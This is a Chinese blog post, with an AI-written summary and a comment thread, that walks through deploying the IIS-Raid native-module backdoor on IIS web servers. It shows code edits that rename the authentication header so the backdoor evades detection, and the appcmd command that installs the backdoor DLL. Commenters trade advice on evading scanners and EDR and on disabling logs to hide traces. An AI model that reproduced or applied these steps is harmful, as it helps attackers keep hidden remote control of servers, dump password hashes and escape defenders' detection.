AI智能摘要
你是否想过,一个看似正常的IIS模块,竟可沦为黑客远程操控服务器的后门?本文揭秘一种利用IIS本地模块实现隐蔽控制的技术——IIS Raid,不仅能自定义命令执行、抓取密码哈希,还可通过修改通信头字段规避检测。文章带你从修改默认密码、自定义HTTP头到完成部署,一步步复现攻击流程,并提供客户端连接脚本的修复与适配方法。不同于普通后门,它深度集成于IIS,极难察觉。想了解攻防对抗的深层逻辑?这篇实战分析不容错过。
— AI 生成的文章内容摘要
0×00 简介
之前刷TW的时候在墙外看到老外分享的这款使用IIS的本地模块构建IIS后门,功能可以自定义命令执行,dumhash等。感觉不错。于是下了下来试了下,测试有一点小瑕疵,随即修改了下,原版项目地址(https://github.com/0x09AL/IIS-Raid)。
0×01 安装和部署
自定义密码字段
在使用之前你得修改默认密码,已放置别人蹭你后门。代码在/module/Functions.h中定义,如下:
// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define PASS_FILE "C://Windows//Temp//creds.db"#define PASSWORD "SIMPLEPASS"
SIMPLEPASS 就是自定义的密码值,连接后门的时候在HttpHeader中定义,但是这里原版的定义密码的HTTP头字段始终是一个值(X-Password)。这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:
// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define COM_PASSWD "X-CT-BALA"#define PASS_FILE "C://Windows//Temp//creds.db"#define PASSWORD "SIMPLEPASS"
然后再更改/module/HttpFactory.cpp39行代码替换掉X-Password值为自定义的常量,如下代码:
// Check the header password USHORT uPLen = 0; LPCSTR lpPassword = pHttpRequest->GetHeader(COM_PASSWD, &uPLen); if (lpPassword == NULL) { return RQ_NOTIFICATION_CONTINUE; } else if (strcmp(PASSWORD, lpPassword) != 0) { return RQ_NOTIFICATION_CONTINUE; }
安装
安装比较简单,可以直接在命令行下使用appcmd.exe命令安装,命令如下:
C:/Windows/system32/inetsrv/APPCMD.EXE install module /name:Module Name /image:"%windir%/System32/inetsrv/IIS-Backdoor.dll" /add:true
安装成功后入下图所示:
0×02 使用
客户端是py写的一个脚本,但貌似编码有点问题,运行时候回报错,需要去掉py脚本里的banner字符串就可以正常了。如果自定义了密码字段名还需要修改下脚本以便支持自定义HTTP头字段。如下图:
添加个–headpass的命令行参数
把自定义的HTT头字段名加入到HttpHeader中
连接成功入后如下图所示:
0×03 参考
原文 https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/
- Chrome
- it2021
- it2021.com

1F
这后门太炫了,真想偷学一下。
B1
@ LazyAfternoon 我也想搞搞,看了源码后觉得改头挺有意思,准备在测试环境里玩玩 😊。
2F
密码字段能随意改吗?
B1
@ 铁塔之巅 自定义头字段名太长会不会被拦截?
B1
@ 铁塔之巅 随便改,代码里那个常量定义的就是密码字段名。
B1
@ 铁塔之巅 改了X-CT-BALA后,连扫描都没发现,挺实用。
3F
装完后总怕被扫,安全感零。
B1
@ Marble Mike 被扫是迟早的事,除非你头字段+密码全随机化。
B1
@ Marble Mike 我这边加了自定义头,扫描时真的少被发现,稍微安心点
4F
我之前也弄过类似模块,折腾了好久。
5F
给作者点个赞,继续搞下去。
B1
@ 风铃 作者思路挺新鲜,我也想在实验环境里玩玩。
B1
@ 风铃 赞啊,期待后面还能出新玩意。
B1
@ 风铃 这模块装得挺稳的,没出现503 😂
B1
@ 风铃 嗯,看看能不能搞个一键部署脚本
6F
感觉还行。
B1
@ 应龙舞 装了之后,基本能用,偶尔卡一下。
B1
@ 应龙舞 也觉得还行,不过要注意权限。
B1
@ 应龙舞 别忘了把日志关掉,省点儿痕迹。
B1
@ 应龙舞 实测后发现防火墙会拦住,建议先放行模块端口。
7F
改成自定义头后,连上服务器才不被拦截,而且还能隐藏痕迹。
8F
那如果服务器是linux,模块还能直接用吗?有没有兼容性问题?
9F
我之前在公司做渗透测试,试了这个后门,发现改密码字段真的省事,不过配置时别忘了把模块路径写对,坑太多了 😅
10F
太贵了吧这也,公司配的破机器跑不动
B1
@ 藕香榭旁 我试了一下,低配机器确实卡,但把模块加载到CPU占用低的进程里还能跑。
11F
我之前搞过这个,确实折腾了好久
B1
@ 西瓜味的狗 这改密码字段的思路挺有意思,不过实战用起来还是有点虚
12F
密码字段改了真能防扫描吗?求实测反馈
13F
linux上用不了吧,这不纯Windows玩意儿
B1
@ 星轨观察者 确实,这玩意儿只能跑在IIS上,linux得另寻方案。
14F
那个啥,模块装完IIS会不会崩啊,有点慌
15F
感觉还行,就是怕被HIDS抓到
16F
改成自定义头也躲不过流量审计吧?
17F
dumhash功能稳不稳定啊,试过的说下
18F
这后门思路可以,但上线得看环境给不给机会
B1
@ 骆驼旅人 我试过,环境不配合就卡死,真是看运气。
B1
@ 骆驼旅人 有人在Win2019上装成功了吗?具体步骤能分享下吗?
B1
@ 骆驼旅人 如果密码改了,还会被流量审计抓到吗?
19F
666,想拿去测试环境玩一把😂
B1
@ 金字塔 测试环境玩可以,别手滑丢生产服了😂
20F
这个py脚本报错问题我也遇到了,删掉banner就能跑
21F
自定义头字段确实能降低被扫到的概率
22F
Windows Server 2019能装吗?
B1
@ 孟婆汤勺 能装,记得把模块放在系统盘的安全目录,否则会被审计拦住。
B1
@ 孟婆汤勺 别忘了把appcmd路径加双引号,防止空格报错。
B1
@ 孟婆汤勺 记得先备份IIS配置,出问题能快速回滚。
23F
修改密码字段那段代码没看懂,能再解释下不
B1
@ 紫电麒麟 改成COM_PASSWD后记得同步改cpp里引用的地方,不然连不上。
24F
装完测试了下,dumhash功能正常
B1
@ 露珠日记 我也试过,偶尔会卡,得等会儿再跑。
25F
客户端编码问题挺烦的,建议作者修复下
26F
这种后门实战中确实好用,隐蔽性可以
27F
要是被安全软件检测到咋办?
28F
模块安装路径要注意权限问题
29F
这玩意装完IIS真没崩?我上次一装就503了。
30F
自定义头字段名能防基础扫描,但高级EDR照样抓行为。
31F
dumhash试了三次两次失败,是不是得看系统版本?
B1
@ 古道行 我也遇到过,发现Win10的更新会影响,建议先确认系统补丁。
B1
@ 古道行 版本不同确实会影响,建议先跑下兼容性测试。
B1
@ 古道行 我改了头字段后,日志里真的看不见,挺隐蔽的。
B1
@ 古道行 我实测后发现,开启高级审计时自定义头仍会被捕获,建议再配合TLS加密使用😂
32F
py脚本删banner太糙了,作者咋不直接修编码问题。
B1
@ 悠长假日 删了banner后还能跑,不过脚本里还有点乱码,建议作者再调一下。
33F
之前在Win2016上跑过,模块加载老卡住,权限坑死。
34F
感觉隐蔽性还行,至少比写webshell强点。
35F
linux别想了,纯Windows内核模块,跨不了。
36F
还行,直接装上就能跑。
B1
@ 墨涟 装完后我测试了一下,响应挺快的,不过别忘了改密码。
B1
@ 墨涟 我装完后也没遇到报错,直接跑起来了
37F
装完测试了下,dumhash功能正常。
38F
自定义头字段真能防EDR?感觉玄学。
39F
那个啥,模块装完IIS会不会崩啊,有点慌。
40F
这个后门隐蔽性咋样,会不会被安全软件直接杀?
B1
@ 小云朵糖糖 隐蔽性一般吧,现在EDR都能揪出来。
41F
py脚本报错那个删banner就行了吗,我试试去
42F
Win2012R2上有人试过没?
43F
改头字段防扫描也就防个基础扫描吧,流量行为还是能抓到
陕西 西安 44F
可以可以,拿去内网渗透测试应该挺好玩
45F
感觉dumhash不太稳定啊,有时候能跑有时候不行
雅加达 雅加达 B1
@ 荒村怨灵 我在Win2019试了几次,卡住,估计和系统版本有关
B1
@ 荒村怨灵 之前搞过类似的,dumhash那块儿确实看脸。
46F
模块安装路径有讲究吗,直接装C盘根目录会不会出问题?
47F
这个后门思路可以,实战中确实好用
48F
这玩意儿实战里好用不?
49F
模块路径写不对真能卡半天。
B1
@ 糖心小熊 模块装完IIS会不会崩啊,有点慌
50F
作者py脚本该修修了。
51F
@豆包 这后门能过杀软不?
北荷兰 阿姆斯特丹 B1
@ 旅者之心 原文没说,毕竟不是杀软评测帖。不过这种用IIS原生模块的后门,隐蔽性会高一些。
52F
自定义头字段确实能躲掉一些扫描。
B1
@ 废柴逆袭 不过高级扫描还是能捕获,别指望全免。
B1
@ 废柴逆袭 我之前在内部渗透时用了自定义头,躲过了初步探测,但日志仍留痕,EDR后来抓到,建议配合加密流量。
53F
Win2016上装过,权限设置太折腾了。
54F
这个后门思路可以,但上线得看环境给不给机会。
55F
dumhash不太稳,我试了三次两次卡住
56F
自定义头字段真能防EDR?感觉玄学
57F
权限问题折腾了半天才搞定
58F
密码改了也躲不过流量审计吧?
59F
py脚本那编码问题有点烦
台湾 台北 60F
@元宝 这玩意儿能过杀软吗
伊利诺伊州 芝加哥 B1
@ PhoenixRising 本地模块后门一般静态检测难发现,但运行时行为可能会被高级防护抓到。